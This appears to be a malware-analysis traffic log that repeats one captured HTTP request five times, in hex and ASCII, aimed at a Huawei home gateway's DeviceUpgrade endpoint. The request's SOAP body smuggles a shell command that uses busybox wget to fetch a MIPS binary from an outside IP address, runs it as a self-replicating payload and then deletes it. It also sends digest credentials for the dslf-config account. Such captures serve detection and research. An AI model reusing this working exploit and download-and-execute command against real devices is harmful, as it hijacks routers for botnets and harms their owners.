Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 31 33 2e 32 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 67 48 20 2d 72 20 2f 64 75 63 6b 33 6b 2f 68 6f 6d 65 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 62 69 67 48 3b 2f 74 6d 70 2f 62 69 67 48 20 48 75 61 77 65 69 2e 53 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 62 69 67 48 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 104.248.113.24 -l /tmp/bigH -r /duck3k/home.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 31 33 2e 32 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 67 48 20 2d 72 20 2f 64 75 63 6b 33 6b 2f 68 6f 6d 65 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 62 69 67 48 3b 2f 74 6d 70 2f 62 69 67 48 20 48 75 61 77 65 69 2e 53 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 62 69 67 48 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 104.248.113.24 -l /tmp/bigH -r /duck3k/home.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 31 33 2e 32 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 67 48 20 2d 72 20 2f 64 75 63 6b 33 6b 2f 68 6f 6d 65 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 62 69 67 48 3b 2f 74 6d 70 2f 62 69 67 48 20 48 75 61 77 65 69 2e 53 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 62 69 67 48 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 104.248.113.24 -l /tmp/bigH -r /duck3k/home.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 31 33 2e 32 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 67 48 20 2d 72 20 2f 64 75 63 6b 33 6b 2f 68 6f 6d 65 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 62 69 67 48 3b 2f 74 6d 70 2f 62 69 67 48 20 48 75 61 77 65 69 2e 53 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 62 69 67 48 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 104.248.113.24 -l /tmp/bigH -r /duck3k/home.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 31 33 2e 32 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 67 48 20 2d 72 20 2f 64 75 63 6b 33 6b 2f 68 6f 6d 65 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 62 69 67 48 3b 2f 74 6d 70 2f 62 69 67 48 20 48 75 61 77 65 69 2e 53 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 62 69 67 48 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 104.248.113.24 -l /tmp/bigH -r /duck3k/home.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |